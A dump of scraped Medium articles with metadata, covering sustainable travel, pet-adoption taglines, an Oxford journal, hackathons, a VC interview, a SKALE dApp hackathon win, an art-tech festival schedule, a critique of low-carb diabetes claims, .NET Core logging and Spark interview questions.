For a slightly more cultural experience, working as an au pair or living with a homestay family works wonders. I did this in Nepal for over a month, and it was one of the most valuable travel experiences I’ve had! Not only was my host family great company, but I also learnt so much more about the area than I would have had I been staying on my own.
Low-impact travel
17. Use reef-friendly sunscreen. It turns out that oxybenzone — an ingredient commonly found in conventional sunscreens — combined with warmer water temperatures is a leading cause of coral bleaching. This mixture disrupts the fish and wildlife, leaches coral of its nutrients and bleaches it white. Not only does this affect the habitat itself, but also harms local economies which depend on tourism that the coral reef attracts. Therefore, when purchasing sunscreen for your next vacation, seek out ‘reef-friendly’ sunscreen which doesn’t contain any toxic chemicals or substances.
18. LEARN their ways. One of the first things I did upon arriving Australia was attend an aboriginal walking tour that led me through the different ways in which indigenous communities have been preserving the land for years. This set the tone for how I’d come to interact with and appreciate different natural landscapes while navigating the country, and it left me with some useful insight on how we can become better stewards of the earth even back home. Try to attend workshops and talks where you can learn something valuable and transfer that knowledge back to your home community!
Canoeing the Noosa Everglades
19. Support tours that don’t destroy habitats. Rather than go on a speed boat that disturbs the serenity of marine habitat, why not try kayaking instead? In Byron Bay, I went on a dolphin kayaking tour, where the guides made a special emphasis not to disrupt the natural movement of the sea life. This is the best way to experience nature while getting some exercise in! Other forms of sustainable exploration include canoeing, cycling, walking, etc.
20. Stay for a longer length of time. There’s a difference between being a tourist and a traveller. While the former can be achieved within a couple of days of landmark-hopping, the latter takes more time and effort but allows you to connect more deeply with a country. By remaining in one place for a longer period of time, not only will you be able to see and do more, you can get much more out of your stay both socially and culturally.
With business, school, and individual trips on the rise, it doesn’t look like overseas travel is going anywhere anytime soon. However, the worst thing we can do is dwell on the fact that we’re doing something ‘wrong’. We can make changes to mitigate our impact, and the simplest thing we can do is reframe our mindset and recognize this reality. Keep in mind, however, that while small lifestyle changes are great, these are best carried out in conjunction with other, more grand acts such as demanding systemic change. I hope this post gave you a bit of inspiration as to how to travel more sustainably, and do let me know if you have any feedback or other ideas!
— — —
If you found this article insightful, please do give it some claps (you can clap up to 50 times)! This goes a long way in helping me reach more people with my work. Also, you can find me on Instagram for more related content!
Originally published at https://www.veganhkblog.com. | https://medium.com/climate-conscious/20-simple-ways-to-reduce-your-environmental-impact-while-travelling-d787e3156966 | ['Eugenia Chow'] | 2020-07-14 13:56:17.158000+00:00 | ['Travel', 'Sustainability', 'Climate Action', 'Culture', 'Environment'] |
We Came Up With 20+ Taglines For PAWS in an Hour | This one went off the rails fast but funny ideas usually do, right? RIGHT?
We chose pet adoption organizations as the theme for today’s challenge because we both have rescue pups hence are better than you.
Copyright: Obedient Agency
The rules, in case you haven’t been reading, ugh:
1 brand or product
A firestorm of one-liner campaign concepts
Humor + fun = weapons of choice (duh)
All concocted in under one hour
Based solely on the brief benefits they list on their home page or packaging. (Hell, we only have an hour, ok?? THERE’S NO TIME FOR A LARGER STRATEGY THAN THAT.)
Play fast and loose
Do your best
Trying and bombing is better than never trying at all
All’s fair in a creative ideation dump
Champions never cry
Here are our 20 impressive eye-rollers. (God blezz the 50+ on the cutting room floor.)
Copyright: Obedient Agency
Kennel you believe this gorgeous dog isn’t a purebred? Don’t be a p*ssy, adopt a cat. Tap into the sheer smugness of getting to say, “She’s a rescue.” You bought a dog? That don’t impress me mutt. Because your dog allergy is probably as real as your gluten one. Stop waiting to be saved by a Knight-in-Shining-Armor and be one instead. I’m not a player I just adopt a lot. Stop rescuing ex-boyfriends, rescue a pet. Adopt right meow. Cats may have 9 lives but you only have one: do the right thing. People who only want Purebreds are the same people who send wine back. “I’d ONLY ever have a Frenchie,” says the girl who studied abroad in Paris 13 years ago. You can’t teach an old dog new tricks but you can give him a new home. Stop, adopt, and roll out of there with your new best friend. Get a dog from a breeder when there are thousands of pups without a home? That’s ruff. If you don’t rescue, it’ll hound you forever. What has 4 legs, a cold nose, and you as his only hope?
*referee whistle*
Copyright: Obedient Agency
PS: Our favorite flops: Shih-Tzu happens. | Cat got your conscience? | Rescue organizations are man’s best friendzone. | Collar me by your name. | Shit crappens. | https://medium.com/obedient-agency/we-came-up-with-20-taglines-for-paws-in-an-hour-90e8b72127aa | ['Allie Lefevere'] | 2020-10-30 18:21:50.107000+00:00 | ['Spec Work', 'Copywriting', 'Branding', 'Brainstorming', 'Marketing'] |
January, 2015 | Journaling has been a habit since my one-digit years; a release through my adolescent years, and an expression through my maturing years. It is now a personal art form as well as a necessity. I knew I needed to write everyday when I chose to move across seas to Oxford. So much change would happen. So much uncertainty, and so many feels. I am naturally an analytical, observant, ponderous processor, I fascinate myself with my own reflections. These are some journal excerpts as I move to Oxford, England to work with Abilene Christian University as an assistant director for their study abroad program- the same program I did during my sophomore year of college. All I knew about my job was that I would be in charge of a weekly devotional and living with students. As I was song writing in Nashville before, I would continue to write in Oxford. This post simply shares experiences and reactions to my first month abroad: scene begins on my last day in America.
January 5, 2015, 5:47 PM Leather chair, Starbucks, Terminal A, Lambert Airport, St Louis, Missouri ‘Blowin’ in the Wind,’ Bob Dylan Sip. I have a hazelnut soy latte in hand, and I’m moving to Oxford. It’s a tradition to get Starbucks as I wait for my adventures. This joe seems extra good tonight. Sip. Last time I was here, it was upon my return from TX. It was my last goodbye to Abilene. It was my last goodbye to ACU and the people in it. It was my first professional piano gig. It was the first time I met Condoleezza Rice. Returning from Summit in TX. Sip. Before that, let’s not forget Tanzania. Before that, let’s not forget Zimbabwe. Sip. I’ve had a fist full of trips start and finish here. This airport sets the mood for my experience. For my feelings about going. For my thoughts about staying. For my dreams about living. For my hopes about flying. For my fears about returning. This airport. Change, change, change. Sip. But always the same terminal. The same Starbucks, on the left hand side. The same routine of waiting. The same routine of boarding. The same routine of landing in a new adventure. Landing on a new adventure. Sip. I finish my latte. Here we go.
January 7 [Oxford]
I’ve got many lists running about things I need, what to rearrange, what to do. Trying to take in the quiet empty house before it won’t be quiet for a long, long time. Trying to take in being here. Trying to take in that this is my job. Trying to take in being alone and on my own. Trying to take in what I will do for devotion.
I’m trying. What will 6 months do to me, Lord?
January 8
WENT OUT INTO THE WORLD OF OXFORD.
1) I was definitely alone. It was strange to remember all of this as I passed it, but not be with anyone. I had no one to share the simple act of walking with, new or old. I definitely enjoy this time of aloneness, of exploration in the city and in my mind. But it is an odd feeling, all the same. Yesteryears gone by.
2) I actually expected Oxfordians to be more sociable than they are. I had apparently forgotten. But people don’t make eye contact- which I constantly do to every single person I pass- and they don’t say hi or even smile. I miss that! I realized after living in Texas and Tennessee, it became natural and welcome. Not so welcome here. But I’ll do it anyway, as it suits my fancy.
I guess I bring it up because in general, it makes me feel less connected to the people, the city, the culture. I always plant myself in a culture and play out in my head if I could belong here or not. This more formal attitude is something I’m not really fond of.
January 9
I go from loving this empty house to hating it to loving it. I already think, “Hey I don’t have friends, I need friends.” But then I realize I’ve been here two days and I can’t just pop them out of nowhere.
January 14 [day before everyone arrives]
Taking in the house and environment before all the students arrive and it changes for good. It is about to come quickly and go quickly. I don’t think I’m prepared, but I don’t think there is a way to prepare for it.
January 16
Spent the rest of the night reading Daily Info, Oxford and planning my life away. Where has music been in my life these past couple of days!? No good.
January 19
David was the YWAM elder when I was here before. I went up to the altar to receive prayer four years ago. I found out I would be spending the summer in Zimbabwe, and I felt a pull on my heart for it, and for my future involving foreign missions. He prayed over me and spoke words into me. I remember that night, and writing down his words in my journal (“Get God’s word and write it on your heart.”). I needed that encouragement to have hope and find courage. It really did make a difference.
Anyway, here I was, four years later, standing in front of this same man and telling him what he did for me. He immediately remembered and said, “Well! You’re here and not in Africa,” asking what happened. I said in a whirlwind I went to Zim, to Tanzania the next summer, moved to Nashville, then for some reason came here. I didn’t know what was happening. Or why I wasn’t permanently in Africa. I said it was strange to be back and relive that. To wonder why I was indeed here, and if maybe I had done something wrong by not staying in Africa. I told him all I could do was be open. He told me he saw me as a door, an open door, and I let people pass through me. He said that as if it was a good thing, though I don’t know exactly what it means. “Being an open door for people to pass through.”
But here I was again, receiving words and images from him. This man who has played a seemingly miniscule, but in fact very influential, part in my life.
January 23
Today was literally filled with walking. Group walk through Port Meadow to The Church by The Perch, The Godstow Abbey, and The Trout Inn. Frost was everywhere in the most magical way.
I hear the students from outside my kitchen door, Jealous, by Nick Jonas is playing… everyone went to sleep, I started writing a song, “Hurry now…” before bed.
January 24 [market day]
…Through North Parade Farmer’s Market first, trying lavender chocolate, asking about gluten free bread, talking with Johan and getting a free piece of Turkish delight, pictures of fresh crab and meat pies. It was a cute setting and cheery day. Then walked on through Jericho…went around a corner to a Jericho mini market. Spent a while at a secondhand bookstore off Walton Street, loving over the old covers, wanting to buy every one. Continued on, pass University Press, getting colder, getting to Gloucester Green Giant Market. Never been to a Saturday one, but it would be a nice habit to start. No produce this time (only cheese and meats) but artisan craft tables. Pottery and clothes and china, etc. LOVE LOVE LOVE markets. The atmosphere of a local market. I don’t know why I love pedestrian areas so much, when people are all together, markets, downtowns… head to Covered Market to find a slight reprieve from the cold, and continue wondering past the produce, past the cafes, the thai shops, Ben’s Cookies, Moo Moo Milkshakes (with outrageous ques), looking through windows at The Cake Shop, going inside to admire the art and the artist, fondant featurettes.
Again, the hustle bustle, the getting to know a city, the discovering deeper into details of the city, the specific shops, the streets, the eats.
January 25
Wow, I left America twenty days ago. I can’t decide if that seems like forever or like a quick snap…the first activity of the day was attending a poetry reading at The Ashmolean on William Blake, for there is a festival going on in his honor these two weeks. That seemed like a very Oxford-esque thing, so I walked happily down there, chatted with the front desk, then snuck down the stairs to sit on a bench outside the circle of readers/literary fanatics, led by an older woman who spoke with a passionate voice. Someone gave me a grain of sand, as we all held the grain in our palm to think about Blake’s words “ To see a World in a Grain of Sand And a Heaven in a Wild Flower, Hold Infinity in the palm of your hand And Eternity in an hour.”
Something spellbinding about surrounding oneself with other humans eager and curious to learn, to delve into another world, whether that of literature, music, art. Oxford breeds this type of people. | https://medium.com/the-process-collection/january-2015-56b75ac8c9ce | [] | 2015-04-14 00:37:32.170000+00:00 | ['Oxford', 'Travel', 'Journaling'] |
Your First Hackathon: What to Expect | Photo Credit: Alex Kotliarskyi / Unsplash
What is a hackathon?
A hackathon is an event where software developers sign up to collaborate and complete a coding project in a given timeframe. In most cases, a hackathon can be anywhere between 24–72 hours, but there is no governing body or official ruleset. Hackathons can be hosted by an organization who needs a particular software solution for business processes, or sometimes by an educational institution. Depending on the number of participants, developers will (usually) be split into groups and compete to create the software that best fulfills the requirements set forth. Sometimes there is a prize for the group that wins but many people enroll simply for the experience.
Who is a hackathon for?
As long as you have some basic programming skills, there is likely something that you can contribute to a team. It’s best to read through the description, or hackathon notes, and make sure that it’s beginner-friendly prior to signing up. Get in touch with the point of contact for the event and make it clear what your skill levels are. Generally, they will be happy to accommodate you. If you sign up solo, and not with a group of other developers, the host will attempt to pair you with others whose skills complement your own. If you participate in a virtual hackathon, your team will likely use GitHub to manage the project, so it’s a good idea to take a crash course on Git/Github if version control is new to you.
Why participate in a hackathon?
Participating in a hackathon is a fantastic opportunity to gain some experience working on a real-world project. Software development can be a tough industry to break into, especially if you take the self-taught route. Without any group projects in your portfolio, it is challenging for a potential employer to assess your ability to collaborate with other developers. Hackathons provide a platform for you to build large-scale applications and prove that you possess the skill of teamwork. You will gain experience with actual workflows that are used in the industry and have the opportunity to collaborate with developers who are more experienced than you. The ability to network with other developers and immerse yourself in the industry is, in my opinion, the number one benefit of attending a hackathon. Who knows? You might even meet your next employer or client.
If the thought of participating in a hackathon excites you, I came across another blogger who listed websites to sign up for one. That article can be found here. You have nothing to lose and a lot to gain by trying one out. Tell me about your hackathon experience in the comment section to encourage others, I’d love to hear about it. | https://medium.com/@justincordero/your-first-hackathon-what-to-expect-e806f896f05f | ['Justin Cordero'] | 2020-12-18 14:51:41.404000+00:00 | ['Software', 'Developers', 'Hackathon', 'Programming', 'Web Development'] |
VC Corner Q&A: Madison McIlwain of Defy VC | Madison McIlwain is an Associate at Defy, where she works alongside her team to source, invest in, and help amazing companies grow. She’s passionate about retail innovation, supply chain, and consumer technology.
Formerly a product manager at Gap Inc, Madison managed a team of over forty engineers to modernize Gap’s order management system and customer communication channels. There, she drove numerous technology initiatives, such as enabling SMS communication for customers and launching the first website-wide chatbot. Before Gap, Madison worked at Rent the Runway and an AI start-up working to create a shoppable virtual closet.
Read on to learn more about Defy’s mission and the most important question Madison asks herself before committing to an investment!
— What is Defy’s mission?
Being an entrepreneur means questioning everything. It means pushing back on all the smart, well-meaning people who tell you you’re wrong. At Defy, our mission is to help entrepreneurs Defy convention and expectation. We’re an early stage venture firm focused across consumer, enterprise/saas, and deep tech. We love people who are positioned to uniquely disrupt the industry they’ve grown up in. We hope to back and empower the next generation of startup leaders who defy all odds and build impactful, enduring companies.
— What was your very first investment? And what struck you about them?
The first investment I sourced for Defy was Thrilling. Thrilling is bringing vintage retailers online and enabling consumers to shop vintage from the comfort of their home — all while enabling more sustainable shopping and the circular economy. Honestly, I was drawn to the founder, Shilla, and her magnetic energy and passion for the problem. Shilla herself is an avid vintage shopper who wanted a better experience finding vintage treasures online. She’s built a marketplace that supports small businesses and reduces waste on our planet by leveraging technology to digitize thousands of single SKU items. From my time at Gap and Rent the Runway, I knew SKU management for resale was very challenging and believe Shilla will be the one to turn these challenges into scalable solutions.
— What is one thing you’re excited about right now?
I am really excited about the circular economy and how technology is enabling a more sustainable supply chain. I explored this in detail recently here. When I was at Gap, return rates were better than the average but still sad. What most customers don’t realize about returns is that they are unprofitable and unsustainable for retailers in a myriad of ways. Retailers lose on shipping items back and forth. They also lose on the restocking labor. Worst of all, retailers usually have to mark down inventory once it’s returned to them because it’s often no longer in season. Returns are a side effect of a burgeoning ecommerce ecosystem. With innovation in reverse return logistics and end of clothing life management, we have an opportunity to disrupt the returns status quo.
— Who is one founder we should watch?
Kimberly Shenk! I want to be Kimberly when I grow up! Not only is she a kick butt founder as CEO of Novi Connect, but she is also a thoughtful, compassionate and kind person. With Novi, she is powering ingredient and supply chain transparency. Consumers are increasingly demanding transparency around what’s going into all of the products they touch, eat, wear, etc and the many companies that make/sell all of these products are struggling to deliver. Novi’s software solves this problem through a SAAS-enabled network. I’ve learned a lot from her by the way she breaks down big problems into small manageable pieces and works her way back to a solution.
— What are the 3 top qualities of every great leader?
Tenacity
Humility
Kindness
— What is one question you ask yourself before investing in a company?
The question I always ask myself is “would I invest my own savings into this business?” If the answer is no, it’s a signal to me I don’t have enough conviction on the product, market, or team.
— What is one thing every founder should ask themselves before walking into a meeting with a potential investor?
What is one key objective I’m hoping to get out of this meeting? It might be funding. But more often than not a first meeting is a stepping stone to establishing a relationship with that investor and firm. Capital may come, but this person might be helpful in other avenues as well; customer introductions, hiring, or connections to a more suited firm.
— What do you think should be in a CEO’s top 3 company priorities?
Building product and culture
Hiring great leaders
Retention both of customers and employees
— Favorite business book, blog or podcast?
Is it cheating if I say my podcast? The Room is a podcast with your favorite founders and founders where we discuss what it was like to be in The Room where it happens. Our target audience is first-time founders and young funders. My co-host, Claudia Laurie and I are both curious digital natives navigating our careers in the Valley asking the same questions as our listeners. We felt there was an opportunity to bring to life the conversations and the creation stories which historically happen behind doors closed to groups across age, gender and race. If you like How I Built This, our podcast is for you!
— Who is one leader you admire?
Sally Gilligan. Sally is the CIO of Gap Inc. Sally gave me my first job as a product manager in Gap’s supply chain. At our company all-hands and during our one on ones, she taught me both how to command a room and make an individual feel worth listening too. She continues to lead Gap Inc. through a compelling digital transformation with her keen insights for where the future of retail aided by technology is heading.
— What is one interesting thing most people won’t know about you?
Most people wonder how I have so much “energy”! I think it baffles people because it’s pretty relentless and honestly sometimes I exhaust myself. I think my energy comes from being an extreme extrovert. I genuinely derive the most energy when I’m around others. Thankfully, in venture, my job is to talk to people which consistently fuels me, hence the energy.
— What is one piece of advice you’d give every founder?
Lean into curiosity and stay determined to build a better experience for your customers. | https://medium.com/startup-grind/vc-corner-q-a-madison-mcilwain-of-defy-vc-5cc04d605585 | ['The Startup Grind Team'] | 2020-11-19 10:00:54.438000+00:00 | ['Vc Corner', 'VC', 'Investing', 'Startup', 'Startup Lessons'] |
“Mainnet… Just Faster” DJ Rosenbaum on Hacking on SKALE at ETHNewYork | This week we had the opportunity to chat with DJ Rosenbaum about winning his first hackathon at ETHNewYork with his team’s submission, Collusion game.
Ethereum, What’s That?
DJ’s story of getting involved in Ethereum is all too familiar. Working as a software engineer in New York, you can imagine that it’d be nigh impossible for him to avoid the buzz of cryptocurrency in the halls of workplaces. And eventually, after doing his own research, he decided to invest in both Bitcoin and Ethereum. But it didn’t stop there — DJ was captivated by smart contracts and went further down the rabbit hole.
“There’s just so much to the system — from the usage of gas for processing to the utilization of this network of nodes for security and verification, all the pieces combined are really, really impressive.”
ETHNewYork
So, when he heard about the upcoming hackathon in New York, DJ knew it as a great opportunity to show off some of his dApp development skills and go even deeper on some of the related technologies. And while it may have been his first Ethereum hackathon, DJ had no issues in assembling a team of four (Jacob Shiach, Brent Lagerman, Devavrat Kalam, and himself) to create a decentralized game inspired by Vitalik’s opening ceremony speech covering cooperative game theory.
With a rough idea in hand, the team then proceeded to sketch out a “Capture the Flag” style board game. In this game, players work with or against one another to make it to the center of the board — the first player to do so is declared the winner and rewarded an NFT prize. For more on the mechanics of the game, check out their submission!
Well aware of the fact that dApps on the main chain don’t provide for great usability, the team proceeded to a few sponsor workshops to try out some layer two solutions. To their disappointment, they were unable to get setup with State Channels as the workshop’s Hello World demo was throwing an error for everyone. But then, they found SKALE.
“I attended SKALE’s workshop and was super impressed with how fast the transactions were. I thought could be a very exciting prospect — a turn-based game with every turn being a transaction.”
DJ and the team requested a sidechain from the SKALE team, got some testnet ETH from the faucet, deployed some test contracts, and then connected to the contracts with web3.js and Metamask.
“After my first transaction, I thought it was broken because it went through so quickly. That’s when I thought to myself , ‘This is the right tech to use…’”
From there, they just kind of ran with it — looking at the transactions on the block explorer and building out the game. Unfortunately, hackathons are short; while the team was able to get the foundation for the game completed, they simply didn’t have enough time to finish building everything. And even though the team may not have finished everything, their efforts were recognized and rewarded with a 1,000 DAI bounty from SKALE!
After the event, DJ talked to a few of the teammates who were interested in continuing development of the game to see it through. And with this game and beyond, they now know that they can leverage SKALE on Ethereum to easily create decentralized games that are both fast, easy to use, and free for users.
DJ Presenting Collusion to SKALE team members Christine Perry and Chadwick Strange
Learnings
This having been his first Ethereum event, DJ’s opinions relating to the nascency of this space were hardened — with the main sticking point being that of network congestion and a need for scalability. But he thinks that SKALE is well on its way to solving that issue with layer two and reinforced that opinion with his experience of using sidechains:
“It felt like I was on mainnet, just that the transactions were going through so quickly.”
Learn More
If this article resonated with you and you’d like to try SKALE out, make sure to join the SKALE community on Discord and check out the Developer Documentation! Also, feel free to also check out SKALE’s Technical Overview and Consensus Overview for a deeper dive into how SKALE works and is able to provide 20,000 TPS. | https://medium.com/skale/mainnet-just-faster-dj-rosenbaum-on-hacking-on-skale-at-ethnewyork-6798fb17e7f | ['Christine Perry'] | 2020-01-18 04:17:53.379000+00:00 | ['Blockchain', 'Dapps'] |
DAY 5: ART+TECH Festival 2020『 JOYNT 』 | DAY 5: ART+TECH Festival 2020『 JOYNT 』
『 JOYNT 』 the ART+TECH Festival Day 5. Connect, Create and Celebrate at the following events:
11:30am (PST) — Workshop — Learn to DJ in VR with TribeXR
12:00pm (PST) — Live Event — Behind the Screens With Sven Eberwein
06:00pm (PST) — Workshop — Make AR Holiday Cards
For existing『 Live Events 』+ 『All Pass 』Ticket Holders:
Check your email with the password protected access list of events.
For any question or support, connect with us and the community on Discord.
💟 👾 💜 👾 💟
LEARN TO DJ IN VR WITH TRIBE XR
Tuesday, Dec 15, 2020, 11:30 AM PST (1 hour) (check your timezone)
Part of the 10th annual CODAME ART+TECH Festival
Learn the fundamentals of DJing in this intro session with Ozan from the Tribe team. You’ll review how to use the deck controls, touch on music theory, and learn how to do a high-energy mix.
Or get the ALL ACCESS pass to CODAME ART+TECH Festival 2020 #JOYNT for 10 days of Workshops, Live Events, and Anytime Experiences!
💟 👾 💜 👾 💟
BEHIND THE SCREENS WITH SVEN EBERWEIN
Tuesday, Dec 15, 2020, 12:00 PM PST (45 min) (check your timezone)
Part of the 10th annual CODAME ART+TECH Festival (included in the Festival Pass and All Access Pass )
Hosted by MoCDA and KnownOrigin. Sven Eberwein will discuss his work C Carbon Dioxide I & II / M Carbon Dioxide and mission in creating art to represent and raise environmental awareness.
💟 👾 💜 👾 💟
MAKE AR HOLIDAY CARDS
Tuesday, Dec 15, 2020, 6:00 PM PST (1 hour 45 min) (check your timezone)
Part of the 10th annual CODAME ART+TECH Festival
Personalize a template to create a holiday greeting card with an interactive experience where 3D objects are seemingly placed in the real world. (Augmented reality). Create a fun combination of the real and virtual world as an original way to greet your friends and family. The result can be viewed on modern smartphones (iPhone SE and newer.) This workshop is accessible for those with no coding or 3d modeling experience. Those with HTML/CSS or Blender skills will be able to further customize. Proceeds from this workshop will benefit Rainbow Railroad, helping to resettle LGBT folks from unsafe countries.
Or get the ALL ACCESS pass to CODAME ART+TECH Festival 2020 #JOYNT for 10 days of Workshops, Live Events, and Anytime Experiences!
JOYNT = Connect + Create + Celebrate
Let’s JOYNT forces to nurture Diversity, Equity, & Inclusion within the art and tech community!
Artists are innovators and producers of creative and extraordinary ideas and visions. Experiencing art and artistic processes is an important opportunity for learning and exploration. Even more so, collaborative art is a transformational force to strengthen the community and enhance well-being. CODAME invites you to become an active participant at our Festival where you can connect, create, and celebrate with our Artists.
💟 👾 💜 👾 💟
CODAME is a member of Intersection for the Arts a non profit 501(c)(3) organization. All proceeds will be split with the participating artists.
Thank you for your support for ART 💜 TECH !!! Code of Conduct for all attendees. | https://medium.com/codame-art-tech/day-5-art-tech-festival-2020-joynt-5b664e247d07 | [] | 2020-12-15 04:45:37.264000+00:00 | ['Crypto', 'VR', 'Workshop', 'Art', 'Festivals'] |
8 Bollywood Films You Should Watch Before You Turn 25 | We have to admit that despite being third-most in generating the revenue, the Indian film industry is the largest out there. With endless amounts of combinations and storytellers, it’s one art we all have yet to delve deeper into.
Following the recent successes of films like ‘Dangal’ and ‘Bajrangi Bhaijaan’, Bollywood has widened its horizons and put a show on a global stage.
As life gets hard every day, watching a few movies you can connect with and apply to your life goes a long way. Here are a few Bollywood movies that everyone should watch before they turn 25. | https://medium.com/cinemania/8-bollywood-films-you-should-watch-before-you-turn-25-79cc18658c97 | ['Adi Makkar'] | 2020-09-16 01:24:03.292000+00:00 | ['Life Lessons', 'India', 'Culture', 'Film', 'World'] |
Diabetes Can’t Be Cured With Low-Carb Diets | I remember a time in my childhood, I was about 7 or 8, when my parents went through a concerted effort to lose weight. Suddenly it was all grapefruit for breakfast, slimming shakes for lunch, and measly salads for dinner.
They did not last long.
These days, they probably wouldn’t have gone for the grapefruit. You see, the biggest diet movement of the last decade is a bit more on the meat side: Low-Carb High-Fat (LCHF). LCHF diets cover the gamut from paleo to keto — short for paleolithic and ketogenic respectively — and basically follow the prescription laid out by Atkins in the 90s except with varying amounts of bone broth and kale.
Pictured: “Healthy”
And now there’s new evidence, reported literally everywhere — from the Guardian to the New York Times — that not only are LCHF diets good for losing weight, they might have a special power: curing diabetes.
This is, of course, total nonsense.
Scientific Shenanigans
Usually, I spend a lot of time going over the science. I talk about the pros and cons, what it actually means, and why the media might have gotten it a bit wrong.
So here goes.
What was the study?
A scientific survey. A survey of people in a Facebook group who follow LCHF diets, and rate it highly as a method for diabetes control. The researchers asked 316 people who are in a Facebook group dedicated to using LCHF diets to control diabetes whether it helped them control their diabetes, and they responded that it did.
That’s it. THE ENTIRE STUDY.
I’m not kidding. Here’s the study methods.
I could go in depth into the methods, talk about bias, statistics, and control groups but honestly I don’t think it’s necessary. There’s no point going in-depth talking about a survey, because all that surveys prove is that people have opinions. The researchers spent time confirming these opinions, but whether this is just a small, self-selected group or a real phenomenon is yet to be demonstrated.
This was the equivalent of asking a bunch of cyclists if they thought cycling was a good idea, and then printing news headlines screaming: “CYCLING CURES ALL HUMAN DISEASE, SAYS STUDY”.
Total rubbish.
And this time, it’s not all the media’s fault. Some of the statements made in the study itself by the scientists were pretty unusual — the claim, for example, that people were achieving “exceptional” diabetes control. Since all the researchers had were self-reported before-and-after values for blood sugar, and there are innumerable known issues with asking people questions like this, the conclusion that this diet did anything at all for blood sugar is a wild guess.
Pictured: Wild guess
Media Madness
Ultimately, this is yet another tedious story where incredibly preliminary findings have been blown out of all proportion.
Picured: “Our results are meaningless but hopefully future research agrees with us and THEN we’ll be vindicated”
If you look at the conclusions of the study (above), it’s actually quite easy to see just how useless the study is for making claims about diabetes. The authors spend an entire paragraph hedging about whether their results mean anything at all.
Which anyone who’d read the study would realize.
Unfortunately “Research doesn’t prove much at all” doesn’t sell newspapers
Sadly, it’s another story of preliminary research being blown out of all proportions by media sources desperate for a story. LCHF diets have been gaining popularity, and there’s some indication that they might be useful for weightloss, but there’s also good evidence that they’re no different from any other type of calorie restriction.
If you’ve got diabetes, don’t listen to the hype. Talk to your doctor, who is a much more reliable source of information about diabetes than sensationalist media pieces.
It turns out, the best diet may just be the one that is best for you.
Not a shock, really.
If you enjoyed, follow me on Medium, Twitter or Facebook! | https://gidmk.medium.com/diabetes-cant-be-cured-with-low-carb-diets-8b645c935373 | ['Gideon M-K', 'Health Nerd'] | 2019-07-02 03:18:51.519000+00:00 | ['Science', 'Weight Loss', 'Low Carb', 'Diabetes', 'Health'] |
Understand Logging in .Net Core in 3 Hours | Assumptions
We already have some familiarity with C#, .NET Core and Logging.
We created a fresh web application in .NET Core and wanted to understand how Logging is already configured in the template code.
We have only 3 hours to understand Logging so that we can customize the logging behavior for our Project.
First 2 hours
Rather than jumping into the docs upfront it’s always awesome to get a technical walkthrough of the whole topic through a video. Let’s go through this 1 hour video and simultaneously try the examples on our machine. Take 1 more hour to fiddle with the code to understand the overridden APIs.
Next 1 Hour
Now let’s go through the official Microsoft documentation for Logging in .NET Core. Naturally, after going through the video, documentation will feel more comprehensive and by covering the topics there we’ll make sure that nothing is missed.
Conclusion
We now understand the in-built Logging providers like Console and Debug.
We also understand ILogger interface, ILoggerFactory , categories and default Log-Levels .
interface, , and default . We can configure Logging behavior through appsettings.json file or command line arguments.
What’s next?
Moving forward, we can improve our logging based on the complexity of our project and logging requirements by knowing few more things. | https://medium.com/@neetishop/understand-logging-in-net-core-in-3-hours-6e3f3f267642 | ['Neetish Raj'] | 2020-11-19 01:53:00.934000+00:00 | ['Programming', 'Logging', 'Tutorial', 'Dotnet', 'Dotnet Core'] |
10 Questions you can expect in Spark Interview | 10 Questions you can expect in Spark Interview
Hey Fellas,
Data Engineer position is highly in demand in recent times, with Apache Spark being state of the art for Batch processing and ETL, being cognizant in it can easily land you a job as a Data Engineer. So, in this article I will be showcasing 10 questions you can expect in Apache Spark Interview, please note that I won’t be including naive questions like “What is Dataframe?”, “What is Spark RDD?” or “How to read/write orc file?” as I expect that an associate going for a job interview for Apache Spark would be knowing these things already and reiterating them again is pointless.
So all these said, let’s jump to Q/A.
Is Spark Better than Hadoop? Why?
Yes Spark is evidently better than Hadoop, one of the major reason is it is faster than Hadoop because of in memory processing which helps reduce latency for read/write operations. Basically when we use map reduce paradigm, on completion of each task there will be write on disk and when the data has to be used again, read will be performed again. But, in Spark the processing will be done in memory and the dataframes are cached for future use which results in increased performance. Moreover, Spark comes with libraries like Spark ML, Spark SQL, Spark Streaming which makes it more rich.
What is difference between coalesce and repartition?
This is the hotshot topic of discussion when it comes to optimising your spark job. Both functions basically allows us to manipulate the number of partitions of our dataframe, but there uses are different. Repartition will do full shuffle on the data so we can increase or decrease the number of partitions, but coalesce will just shift you data from one partition to other binding us to only decrease number of partitions using it. Coalesce will be faster as shuffle will be less but if the number of partitions has to be increased or the data is skewed and we want to decrease number of partition by reshuffling, then we should go with repartition method.
What is Broadcast Join?
Broadcast join is also used for optimizing Spark Job(particularly joins). When small sized dataframe is joined with relatively larger dataframe, we can broadcast small dataframe which will send a copy of the small dataframe to each node which will result in faster join execution and less shuffling. Syntax is given below.
import pyspark.sql.functions as fn
final = big.join(fn.broadcast(small),["common_id"])
When broadcasting smaller dataframe, we can reduce its partition to 1 for better performance(depending on your use-case).
What is lazy evaluation?
There are two important aspects in Apache Spark, one is action and second is transformation. Transformation includes functions like filter,where,when, on calling these functions Spark does not actually performs those transformations but are stacked until an action is called. When an action is called all the transformations are executed at that point, this helps Apache Spark to optimise the performance of the job. Example of actions are show(), count(), collect().
What is the difference between cache() and persist()?
Both of the Api’s are used to persist dataframes in memory at different levels, but in persist we can specify the Storage level as MEMORY_ONLY, MEMORY_AND_DISK, DISK_ONLY etc whereas in cache() we cannot specify the storage level and is considered MEMORY_ONLY by default.
Difference between Rank and Dense Rank?
This a sql question but I included it because we can expect this question if we go in window-partition section. Suppose, we have a dataset as given below:
Name Salary Rank Dense_rank
Abid 1000 1 1
Ron 1500 2 2
Joy 1500 2 2
Aly 2000 4 3
Raj 3000 5 4
Here salary is in increasing order and we are getting rank() an dense_rank() for the dataset. As Ron and Joy have same salary they get the same rank, but rank() will leave hole and keep “3” as empty whereas dense_rank() will fill all the gaps even though same values are encountered.
How to connect Hive through Spark SQL?
Solution to this is to copy your hive-site.xml and core-site.xml in spark conf folder which will give Spark job all the required metadata about Hive metastore and you have to enable Hive Support along with specifying your warehouse directory location of Hive in configuration while starting your Spark Session as given below:
spark = SparkSession \
.builder \
.appName("Python Spark SQL Hive integration example") \
.config("spark.sql.warehouse.dir", warehouse_location) \
.enableHiveSupport() \
.getOrCreate()
To read in detail about this visit here
Is RDD better than Dataframes?
No, Dataframes are faster in execution than RDDs and it is more easier syntactically. One doubt you might get is Dataframes is converted to RDDs in backend then how is RDD slow? The answer is Dataframe uses Catalyst Optimizer which makes it run faster than RDDs on the other hand RDDs don’t use any optimizer during execution. The comparison between these Api has been explained in detail in this video at Spark Summit 2017.
